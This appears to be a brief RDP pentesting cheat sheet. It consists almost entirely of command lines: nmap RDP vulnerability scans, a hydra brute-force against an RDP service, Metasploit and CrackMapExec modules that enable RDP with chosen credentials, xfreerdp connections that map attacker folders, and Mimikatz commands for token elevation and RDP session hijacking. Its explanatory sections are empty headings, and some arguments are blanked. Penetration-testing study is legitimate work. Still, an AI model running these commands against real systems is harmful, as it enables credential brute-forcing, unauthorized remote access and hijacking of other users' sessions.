Welcome, today I am writing about RDP Pentesting fundamentals, I will explain how to enumerate Remote Desktop Service and how to exploit it.
Table of Contents
RDP Introduction
RDP Pentesting
RDP Enumeration
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" 192.168.1.131 -p3389
Brute Force RDP
hydra -L userslist.txt -P wordlist.txt 192.168.1.131 rdp
Metasploit
use post/windows/mange/enable_rdp
set username rfs
set password Password123!
set session 1
exploit
CrackMapExec
crackmapexec smb '' -u '' -p '' -M rdp -o ACTION=enable
Post Exploitation
Connecting to RDP
xfreerdp /v:'' /u:'' /p:''
xfreerdp /v:'' /u:'' /p:'' +clipboard
#Maps specified folder on attacking machine to RDP host
xfreerdp /v:'' /u:'' /p:'' +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
Credential Dumping
RDP Session Hijacking
Invoke-Mimikatz -Command '"ts::sessions"'
Invoke-Mimikatz -Command '"token::elevate" "ts::remote /id:4"'
Socks5 over RDP
https://github.com/nccgroup/SocksOverRDP
RDP Exploits
Bluekeep
Comments